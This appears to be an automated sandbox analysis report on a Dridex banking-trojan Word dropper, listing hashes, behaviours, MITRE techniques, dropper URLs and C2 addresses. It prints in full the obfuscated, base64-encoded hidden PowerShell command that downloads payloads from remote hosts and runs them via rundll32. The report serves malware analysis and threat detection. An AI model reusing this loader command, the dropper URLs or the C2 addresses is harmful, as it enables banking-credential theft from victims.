dridex | bfa9bd81b48fbbe69d7525456c074b272634b20c7249f4c562a993c4ffbde0d6

General

Target

Order.862393485.doc
Size

124KB
MD5

6680b904d6e55ea0969120e71ce09b62
SHA1

924a596b6bb5280bebc08245d89f75c1fe0f319c
SHA256

bfa9bd81b48fbbe69d7525456c074b272634b20c7249f4c562a993c4ffbde0d6
SHA512

c37059bbefa0727571526925f98de3e5f63a961a68d8c43d3c410ac89ce41c42e1af2d4442f9fc36cd2eaa8cee04580a9dc4c823e970df0c8e70eac5551fa5aa

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://mountainceramic.com/kx8vjddb.rar

exe.dropper

http://siemensagent.com/ny2tqv.zip

exe.dropper

https://final.makkahkmcc.com/shqay5y.rar

exe.dropper

https://bhasinbrothers.com/cdy7qodb.rar

exe.dropper

https://test.chongthamsika.com.vn/jl4gs4ar.zip

exe.dropper

https://skvflexandoffset.in/igjkrk3.rar

exe.dropper

http://weedcompare.co.uk/mkcy8uttq.zip

exe.dropper

https://thisismycurrentproject.com/rtftdo.rar

Extracted

Family

dridex

Botnet

10555

C2

104.131.164.93:443

46.101.90.205:4643

27.254.174.84:4443

92.94.251.127:3786

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1124 3660 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1124	3660	cmd.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral2/memory/4060-19-0x00000000047E0000-0x000000000481D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

19 1852 powershell.exe
27 4060 rundll32.exe
29 4060 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

4060 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
19	1852	powershell.exe
27	4060	rundll32.exe
29	4060	rundll32.exe

pid	process
4060	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2604 WINWORD.EXE
2604 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1852 powershell.exe
1852 powershell.exe
1852 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1852 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2604 WINWORD.EXE
2604 WINWORD.EXE
2604 WINWORD.EXE
2604 WINWORD.EXE
2604 WINWORD.EXE
2604 WINWORD.EXE
2604 WINWORD.EXE

pid	process
2604	WINWORD.EXE
2604	WINWORD.EXE

pid	process
1852	powershell.exe
1852	powershell.exe
1852	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1852	powershell.exe

pid	process
2604	WINWORD.EXE
2604	WINWORD.EXE
2604	WINWORD.EXE
2604	WINWORD.EXE
2604	WINWORD.EXE
2604	WINWORD.EXE
2604	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 1124 wrote to memory of 4040	1124	cmd.exe	msg.exe
PID 1124 wrote to memory of 4040	1124	cmd.exe	msg.exe
PID 1124 wrote to memory of 1852	1124	cmd.exe	powershell.exe
PID 1124 wrote to memory of 1852	1124	cmd.exe	powershell.exe
PID 1852 wrote to memory of 2436	1852	powershell.exe	rundll32.exe
PID 1852 wrote to memory of 2436	1852	powershell.exe	rundll32.exe
PID 2436 wrote to memory of 4060	2436	rundll32.exe	rundll32.exe
PID 2436 wrote to memory of 4060	2436	rundll32.exe	rundll32.exe
PID 2436 wrote to memory of 4060	2436	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Order.862393485.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2604

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABTAEUAVAAtAEkAVABlAG0AIABWAEEAUgBpAEEAQgBMAEUAOgBNADMANgBxADkAIAAgACgAWwB0AFkAUABFAF0AKAAiAHsAMQB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAFQATwBSAFkAJwAsACcAcwBZAFMAdABFACcALAAnAEMAJwAsACcAbQAuAEkAJwAsACcAZQAnACwAJwBPAC4AZABJAFIAJwApACAAIAApACAAIAA7AFMARQBUAC0AVgBhAFIASQBBAEIAbABlACAAKAAiAEQAbQAyACIAKwAiAEkAcgAiACkAIAAoAFsAdABZAHAARQBdACgAIgB7ADUAfQB7ADgAfQB7ADIAfQB7ADYAfQB7ADMAfQB7ADEAfQB7ADcAfQB7ADAAfQB7ADQAfQAiACAALQBGACcATgBUACcALAAnAE8AJwAsACcAZQAnACwAJwBwACcALAAnAE0AQQBOAGEARwBlAFIAJwAsACcAcwBZAFMAVABFACcALAAnAHIAVgBJAGMAZQAnACwAJwBJACcALAAnAG0ALgBuAEUAVAAuAFMAJwApACAAKQAgADsAJABGADIAcgBnADYAXwBtAD0AKAAoACcAVwAnACsAJwA1AGcAaAAwADIAJwApACsAJwBlACcAKQA7ACQAUwBlAG4AbQBoAHIAegA9ACQAUwBrADUAOQA3AHIAMQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBuADEAaAA1AGYAYwA7ACQATgAzAGQAcQBhAHQAbwA9ACgAJwBKACcAKwAoACcAcQBfAG8AawAnACsAJwB3ACcAKQArACcAOAAnACkAOwAgACgAVgBBAHIAaQBhAEIATABFACAAbQAzADYAUQA5ACAAIAAtAFYAYQBMAHUAZQBvAG4ATABZACkAOgA6ACIAYwBSAEUAYQB0AEUAZABJAGAAUgBFAGAAYwB0AGAAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAKAAnAFEAMQAnACsAJwA1ACcAKQArACcANwBoAHIANQB7ADAAfQAnACsAKAAnAEIAMAAnACsAJwB3ADQAdAAnACsAJwBjACcAKQArACcAdwB7ADAAJwArACcAfQAnACkALQBGACAAWwBDAGgAYQBSAF0AOQAyACkAKQA7ACQAVgA0AGMAagBpAHoAMQA9ACgAKAAnAEEAJwArACcAYQAwAHMAagAnACkAKwAnAGYAdAAnACkAOwAgACAAKAAgAHYAQQBSAEkAQQBCAGwAZQAgACAAKAAiAGQAbQAyACIAKwAiAGkAcgAiACkAIAAgACkALgBWAGEAbAB1AEUAOgA6ACIAcwBFAGAAQwBVAHIAaQB0AHkAUABgAFIAbwB0AGAATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABUAHUAegBnAHgAegA0AD0AKAAoACcAVwAnACsAJwBnAHUAJwApACsAJwBwAHIAJwArACcAbQBnACcAKQA7ACQAWQBiAGkAMwBmAHEAOQAgAD0AIAAoACcATAAnACsAKAAnAG8AJwArACcAbwBiACcAKwAnAGQANQBvACcAKQArACcANQAnACkAOwAkAEkAcABhAHUANwBwAGkAPQAoACcARwAnACsAJwB4ADEAJwArACgAJwA4ADIAegAnACsAJwBlACcAKQApADsAJABXAG4AYwBmAGsAawB6AD0AKAAoACcASgBjACcAKwAnADYAMgAnACkAKwAnAHMAeQAnACsAJwA5ACcAKQA7ACQASABwAHMAcgB5AHoAbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFEAMQA1ADcAJwArACcAaAAnACsAJwByACcAKwAnADUAewAwACcAKwAnAH0AQgAnACsAKAAnADAAdwAnACsAJwA0AHQAYwAnACkAKwAnAHcAewAwAH0AJwApACAAIAAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQAWQBiAGkAMwBmAHEAOQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwBlAGsAagA0AHgAXwA9ACgAJwBIACcAKwAnAHQAJwArACgAJwBpADEAJwArACcAcgB6ADEAJwApACkAOwAkAEYAZQBrADgAaABiAHUAPQBOAGUAYAB3AC0AbwBCAGAAagBlAGAAQwBUACAAbgBFAHQALgBXAGUAYgBDAGwASQBlAE4AVAA7ACQASAB2AHoAbwBoAGMAMgA9ACgAKAAnAGgAdAAnACsAKAAoACcAdABwAHMAOgBxACcAKwAnAGEAJwArACcAKQAoADYANwApACgAcQBhACcAKwAnACkAJwApACkAKwAoACcAKAAnACsAJwA2ADcAKQAnACkAKwAoACgAJwAoAG0AJwApACkAKwAnAG8AJwArACgAJwB1AG4AJwArACcAdABhAGkAbgBjACcAKQArACgAJwBlAHIAYQBtACcAKwAnAGkAYwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwBxACcAKQArACgAKAAnAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACkAKABrAHgAJwArACcAOAB2AGoAJwArACcAZABkACcAKwAnAGIALgAnACkAKQArACgAJwByACcAKwAnAGEAcgBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAoACgAJwBxACcAKwAnAGEAJwArACcAKQAoADYANwAnACkAKQArACgAKAAnACkAJwArACcAKABxAGEAJwApACkAKwAoACgAJwApACgANgA3ACkAKABzACcAKwAnAGkAZQBtAGUAJwArACcAbgBzAGEAJwArACcAZwAnACsAJwBlACcAKwAnAG4AdAAnACkAKQArACgAKAAnAC4AYwBvAG0AcQBhACcAKwAnACkAJwArACcAKAA2ADcAKQAnACkAKQArACgAKAAnACgAbgB5ACcAKwAnADIAdABxAHYALgB6ACcAKwAnAGkAJwArACcAcABAACcAKQApACsAJwBoAHQAJwArACgAKAAnAHQAcABzADoAcQBhACcAKwAnACkAKAAnACsAJwA2ACcAKQApACsAJwA3ACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGEAKQAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKABmAGkAbgAnACsAJwBhACcAKwAnAGwALgBtACcAKQApACsAKAAnAGEAawAnACsAJwBrAGEAaABrAG0AYwBjAC4AYwAnACsAJwBvACcAKwAnAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAKQAoACcAKwAnAHMAJwApACkAKwAnAGgAcQAnACsAKAAnAGEAJwArACcAeQA1ACcAKwAnAHkAJwArACcALgByAGEAcgBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACgAJwBxACcAKwAnAGEAKQAnACkAKQArACgAJwAoADYANwAnACsAJwApACgAcQBhACkAJwApACsAKAAoACcAKAA2ACcAKwAnADcAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACcAYgBoAGEAJwArACcAcwAnACsAJwBpAG4AYgByAG8AdABoACcAKQArACgAJwBlAHIAcwAnACsAJwAuACcAKwAnAGMAbwBtAHEAJwApACsAKAAoACcAYQApACcAKwAnACgAJwArACcANgA3ACkAKABjACcAKQApACsAJwBkAHkAJwArACcANwAnACsAKAAnAHEAbwBkAGIAJwArACcALgByAGEAcgAnACsAJwBAACcAKQArACgAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AHEAJwArACcAYQApACcAKQApACsAJwAoACcAKwAoACgAJwA2ADcAJwArACcAKQAnACkAKQArACgAKAAnACgAJwArACcAcQBhACkAJwArACcAKAA2ADcAJwApACkAKwAnACkAJwArACgAKAAnACgAdAAnACsAJwBlACcAKQApACsAKAAnAHMAdAAuAGMAaABvAG4AJwArACcAZwB0AGgAJwArACcAYQBtAHMAJwApACsAJwBpACcAKwAoACcAawBhAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0ALgAnACsAJwB2AG4AJwArACcAcQBhACkAKAA2ACcAKwAnADcAKQAoACcAKQApACsAJwBqACcAKwAnAGwAJwArACgAJwA0ACcAKwAnAGcAcwA0AGEAcgAnACsAJwAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwBzADoAJwArACgAKAAnAHEAYQApACgANgAnACsAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ADcAKQAoAHMAJwArACcAawAnACsAJwB2AGYAbAAnACsAJwBlAHgAYQBuAGQAbwBmAGYAcwBlAHQALgAnACsAJwBpACcAKQApACsAKAAoACcAbgBxACcAKwAnAGEAJwArACcAKQAoACcAKwAnADYANwApACgAaQBnAGoAJwApACkAKwAnAGsAcgAnACsAKAAoACcAawAnACsAJwAzAC4AcgAnACsAJwBhAHIAQABoACcAKwAnAHQAdABwADoAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAcQBhACkAJwArACcAKAA2ADcAJwArACcAKQAoACcAKwAnAHcAZQAnACkAKQArACgAJwBlAGQAJwArACcAYwBvAG0AJwApACsAJwBwAGEAJwArACgAJwByACcAKwAnAGUALgAnACkAKwAnAGMAbwAnACsAKAAoACcALgB1ACcAKwAnAGsAcQAnACsAJwBhACkAKAA2ADcAKQAoAG0AawAnACsAJwBjAHkAJwApACkAKwAoACcAOAB1AHQAdAAnACsAJwBxAC4AegAnACsAJwBpACcAKQArACgAKAAnAHAAJwArACcAQAAnACsAJwBoAHQAdABwAHMAJwArACcAOgBxAGEAKQAnACkAKQArACgAJwAoADYAJwArACcANwApACcAKQArACgAKAAnACgAcQBhACcAKwAnACkAKAA2ADcAJwArACcAKQAoAHQAJwArACcAaABpACcAKwAnAHMAaQAnACsAJwBzAG0AJwApACkAKwAoACcAeQBjAHUAcgByACcAKwAnAGUAJwArACcAbgAnACkAKwAnAHQAJwArACcAcAByACcAKwAoACgAJwBvAGoAZQAnACsAJwBjACcAKwAnAHQALgBjAG8AbQAnACsAJwBxAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAJwArACcAKAAnACsAJwByAHQAZgB0ACcAKQApACsAKAAnAGQAbwAuAHIAYQAnACsAJwByACcAKQApACkALgAiAHIAZQBgAFAATABhAGMAZQAiACgAKAAoACgAKAAnAHEAYQAnACsAJwApACcAKQApACsAKAAnACgANgAnACsAJwA3ACkAJwApACsAJwAoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABHAGMAaQBxAGwAeQAzACAAKwAgACQAUwBlAG4AbQBoAHIAegAgACsAIAAkAFQAZwBoADUAdQByAHAAKQA7ACQAUwB0AGIAdwBvADcAZwA9ACgAJwBKAGwAJwArACgAJwA2ADMAYwAwACcAKwAnAG0AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYANQBxADcAbQBtAGMAIABpAG4AIAAkAEgAdgB6AG8AaABjADIAIAB8ACAAUwBPAGAAUgB0AGAALQBgAE8AQgBqAEUAYABjAHQAIAB7AGcARQB0AC0AYABSAGEAbgBgAEQAYABvAE0AfQApAHsAdAByAHkAewAkAEYAZQBrADgAaABiAHUALgAiAGQAbwBXAGAATgBMAGAATwBBAGQAYABGAEkATABFACIAKAAkAFYANQBxADcAbQBtAGMALAAgACQASABwAHMAcgB5AHoAbQApADsAJABKAGYAcwBxAHAAcgA3AD0AKAAoACcASQAnACsAJwBpAHQAdwBxACcAKQArACcAZgBoACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABIAHAAcwByAHkAegBtACkALgAiAGwARQBOAGAAZwBUAGgAIgAgAC0AZwBlACAANAA2ADQAMAAzACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbABsADMAMgAuAGUAeAAnACsAJwBlACcAKQAgACQASABwAHMAcgB5AHoAbQAsADAAOwAkAFEAYQAwAHkAZABsAG8APQAoACgAJwBBACcAKwAnAGMAXwA1ACcAKQArACgAJwBhACcAKwAnAGEAMwAnACkAKQA7AGIAcgBlAGEAawA7ACQATgByAHAAXwBfAGcAaQA9ACgAJwBWACcAKwAoACcAawBmAG0AJwArACcAdQAzAGkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAeQBwADAAbwBiAGoAPQAoACcAQwB1ACcAKwAoACcAcABvADcAJwArACcAcABtACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:4040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IABTAEUAVAAtAEkAVABlAG0AIABWAEEAUgBpAEEAQgBMAEUAOgBNADMANgBxADkAIAAgACgAWwB0AFkAUABFAF0AKAAiAHsAMQB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAFQATwBSAFkAJwAsACcAcwBZAFMAdABFACcALAAnAEMAJwAsACcAbQAuAEkAJwAsACcAZQAnACwAJwBPAC4AZABJAFIAJwApACAAIAApACAAIAA7AFMARQBUAC0AVgBhAFIASQBBAEIAbABlACAAKAAiAEQAbQAyACIAKwAiAEkAcgAiACkAIAAoAFsAdABZAHAARQBdACgAIgB7ADUAfQB7ADgAfQB7ADIAfQB7ADYAfQB7ADMAfQB7ADEAfQB7ADcAfQB7ADAAfQB7ADQAfQAiACAALQBGACcATgBUACcALAAnAE8AJwAsACcAZQAnACwAJwBwACcALAAnAE0AQQBOAGEARwBlAFIAJwAsACcAcwBZAFMAVABFACcALAAnAHIAVgBJAGMAZQAnACwAJwBJACcALAAnAG0ALgBuAEUAVAAuAFMAJwApACAAKQAgADsAJABGADIAcgBnADYAXwBtAD0AKAAoACcAVwAnACsAJwA1AGcAaAAwADIAJwApACsAJwBlACcAKQA7ACQAUwBlAG4AbQBoAHIAegA9ACQAUwBrADUAOQA3AHIAMQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBuADEAaAA1AGYAYwA7ACQATgAzAGQAcQBhAHQAbwA9ACgAJwBKACcAKwAoACcAcQBfAG8AawAnACsAJwB3ACcAKQArACcAOAAnACkAOwAgACgAVgBBAHIAaQBhAEIATABFACAAbQAzADYAUQA5ACAAIAAtAFYAYQBMAHUAZQBvAG4ATABZACkAOgA6ACIAYwBSAEUAYQB0AEUAZABJAGAAUgBFAGAAYwB0AGAAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAKAAnAFEAMQAnACsAJwA1ACcAKQArACcANwBoAHIANQB7ADAAfQAnACsAKAAnAEIAMAAnACsAJwB3ADQAdAAnACsAJwBjACcAKQArACcAdwB7ADAAJwArACcAfQAnACkALQBGACAAWwBDAGgAYQBSAF0AOQAyACkAKQA7ACQAVgA0AGMAagBpAHoAMQA9ACgAKAAnAEEAJwArACcAYQAwAHMAagAnACkAKwAnAGYAdAAnACkAOwAgACAAKAAgAHYAQQBSAEkAQQBCAGwAZQAgACAAKAAiAGQAbQAyACIAKwAiAGkAcgAiACkAIAAgACkALgBWAGEAbAB1AEUAOgA6ACIAcwBFAGAAQwBVAHIAaQB0AHkAUABgAFIAbwB0AGAATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABUAHUAegBnAHgAegA0AD0AKAAoACcAVwAnACsAJwBnAHUAJwApACsAJwBwAHIAJwArACcAbQBnACcAKQA7ACQAWQBiAGkAMwBmAHEAOQAgAD0AIAAoACcATAAnACsAKAAnAG8AJwArACcAbwBiACcAKwAnAGQANQBvACcAKQArACcANQAnACkAOwAkAEkAcABhAHUANwBwAGkAPQAoACcARwAnACsAJwB4ADEAJwArACgAJwA4ADIAegAnACsAJwBlACcAKQApADsAJABXAG4AYwBmAGsAawB6AD0AKAAoACcASgBjACcAKwAnADYAMgAnACkAKwAnAHMAeQAnACsAJwA5ACcAKQA7ACQASABwAHMAcgB5AHoAbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFEAMQA1ADcAJwArACcAaAAnACsAJwByACcAKwAnADUAewAwACcAKwAnAH0AQgAnACsAKAAnADAAdwAnACsAJwA0AHQAYwAnACkAKwAnAHcAewAwAH0AJwApACAAIAAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQAWQBiAGkAMwBmAHEAOQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwBlAGsAagA0AHgAXwA9ACgAJwBIACcAKwAnAHQAJwArACgAJwBpADEAJwArACcAcgB6ADEAJwApACkAOwAkAEYAZQBrADgAaABiAHUAPQBOAGUAYAB3AC0AbwBCAGAAagBlAGAAQwBUACAAbgBFAHQALgBXAGUAYgBDAGwASQBlAE4AVAA7ACQASAB2AHoAbwBoAGMAMgA9ACgAKAAnAGgAdAAnACsAKAAoACcAdABwAHMAOgBxACcAKwAnAGEAJwArACcAKQAoADYANwApACgAcQBhACcAKwAnACkAJwApACkAKwAoACcAKAAnACsAJwA2ADcAKQAnACkAKwAoACgAJwAoAG0AJwApACkAKwAnAG8AJwArACgAJwB1AG4AJwArACcAdABhAGkAbgBjACcAKQArACgAJwBlAHIAYQBtACcAKwAnAGkAYwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwBxACcAKQArACgAKAAnAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACkAKABrAHgAJwArACcAOAB2AGoAJwArACcAZABkACcAKwAnAGIALgAnACkAKQArACgAJwByACcAKwAnAGEAcgBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAoACgAJwBxACcAKwAnAGEAJwArACcAKQAoADYANwAnACkAKQArACgAKAAnACkAJwArACcAKABxAGEAJwApACkAKwAoACgAJwApACgANgA3ACkAKABzACcAKwAnAGkAZQBtAGUAJwArACcAbgBzAGEAJwArACcAZwAnACsAJwBlACcAKwAnAG4AdAAnACkAKQArACgAKAAnAC4AYwBvAG0AcQBhACcAKwAnACkAJwArACcAKAA2ADcAKQAnACkAKQArACgAKAAnACgAbgB5ACcAKwAnADIAdABxAHYALgB6ACcAKwAnAGkAJwArACcAcABAACcAKQApACsAJwBoAHQAJwArACgAKAAnAHQAcABzADoAcQBhACcAKwAnACkAKAAnACsAJwA2ACcAKQApACsAJwA3ACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGEAKQAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKABmAGkAbgAnACsAJwBhACcAKwAnAGwALgBtACcAKQApACsAKAAnAGEAawAnACsAJwBrAGEAaABrAG0AYwBjAC4AYwAnACsAJwBvACcAKwAnAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAKQAoACcAKwAnAHMAJwApACkAKwAnAGgAcQAnACsAKAAnAGEAJwArACcAeQA1ACcAKwAnAHkAJwArACcALgByAGEAcgBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACgAJwBxACcAKwAnAGEAKQAnACkAKQArACgAJwAoADYANwAnACsAJwApACgAcQBhACkAJwApACsAKAAoACcAKAA2ACcAKwAnADcAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACcAYgBoAGEAJwArACcAcwAnACsAJwBpAG4AYgByAG8AdABoACcAKQArACgAJwBlAHIAcwAnACsAJwAuACcAKwAnAGMAbwBtAHEAJwApACsAKAAoACcAYQApACcAKwAnACgAJwArACcANgA3ACkAKABjACcAKQApACsAJwBkAHkAJwArACcANwAnACsAKAAnAHEAbwBkAGIAJwArACcALgByAGEAcgAnACsAJwBAACcAKQArACgAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AHEAJwArACcAYQApACcAKQApACsAJwAoACcAKwAoACgAJwA2ADcAJwArACcAKQAnACkAKQArACgAKAAnACgAJwArACcAcQBhACkAJwArACcAKAA2ADcAJwApACkAKwAnACkAJwArACgAKAAnACgAdAAnACsAJwBlACcAKQApACsAKAAnAHMAdAAuAGMAaABvAG4AJwArACcAZwB0AGgAJwArACcAYQBtAHMAJwApACsAJwBpACcAKwAoACcAawBhAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0ALgAnACsAJwB2AG4AJwArACcAcQBhACkAKAA2ACcAKwAnADcAKQAoACcAKQApACsAJwBqACcAKwAnAGwAJwArACgAJwA0ACcAKwAnAGcAcwA0AGEAcgAnACsAJwAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwBzADoAJwArACgAKAAnAHEAYQApACgANgAnACsAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ADcAKQAoAHMAJwArACcAawAnACsAJwB2AGYAbAAnACsAJwBlAHgAYQBuAGQAbwBmAGYAcwBlAHQALgAnACsAJwBpACcAKQApACsAKAAoACcAbgBxACcAKwAnAGEAJwArACcAKQAoACcAKwAnADYANwApACgAaQBnAGoAJwApACkAKwAnAGsAcgAnACsAKAAoACcAawAnACsAJwAzAC4AcgAnACsAJwBhAHIAQABoACcAKwAnAHQAdABwADoAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAcQBhACkAJwArACcAKAA2ADcAJwArACcAKQAoACcAKwAnAHcAZQAnACkAKQArACgAJwBlAGQAJwArACcAYwBvAG0AJwApACsAJwBwAGEAJwArACgAJwByACcAKwAnAGUALgAnACkAKwAnAGMAbwAnACsAKAAoACcALgB1ACcAKwAnAGsAcQAnACsAJwBhACkAKAA2ADcAKQAoAG0AawAnACsAJwBjAHkAJwApACkAKwAoACcAOAB1AHQAdAAnACsAJwBxAC4AegAnACsAJwBpACcAKQArACgAKAAnAHAAJwArACcAQAAnACsAJwBoAHQAdABwAHMAJwArACcAOgBxAGEAKQAnACkAKQArACgAJwAoADYAJwArACcANwApACcAKQArACgAKAAnACgAcQBhACcAKwAnACkAKAA2ADcAJwArACcAKQAoAHQAJwArACcAaABpACcAKwAnAHMAaQAnACsAJwBzAG0AJwApACkAKwAoACcAeQBjAHUAcgByACcAKwAnAGUAJwArACcAbgAnACkAKwAnAHQAJwArACcAcAByACcAKwAoACgAJwBvAGoAZQAnACsAJwBjACcAKwAnAHQALgBjAG8AbQAnACsAJwBxAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAJwArACcAKAAnACsAJwByAHQAZgB0ACcAKQApACsAKAAnAGQAbwAuAHIAYQAnACsAJwByACcAKQApACkALgAiAHIAZQBgAFAATABhAGMAZQAiACgAKAAoACgAKAAnAHEAYQAnACsAJwApACcAKQApACsAKAAnACgANgAnACsAJwA3ACkAJwApACsAJwAoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABHAGMAaQBxAGwAeQAzACAAKwAgACQAUwBlAG4AbQBoAHIAegAgACsAIAAkAFQAZwBoADUAdQByAHAAKQA7ACQAUwB0AGIAdwBvADcAZwA9ACgAJwBKAGwAJwArACgAJwA2ADMAYwAwACcAKwAnAG0AJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYANQBxADcAbQBtAGMAIABpAG4AIAAkAEgAdgB6AG8AaABjADIAIAB8ACAAUwBPAGAAUgB0AGAALQBgAE8AQgBqAEUAYABjAHQAIAB7AGcARQB0AC0AYABSAGEAbgBgAEQAYABvAE0AfQApAHsAdAByAHkAewAkAEYAZQBrADgAaABiAHUALgAiAGQAbwBXAGAATgBMAGAATwBBAGQAYABGAEkATABFA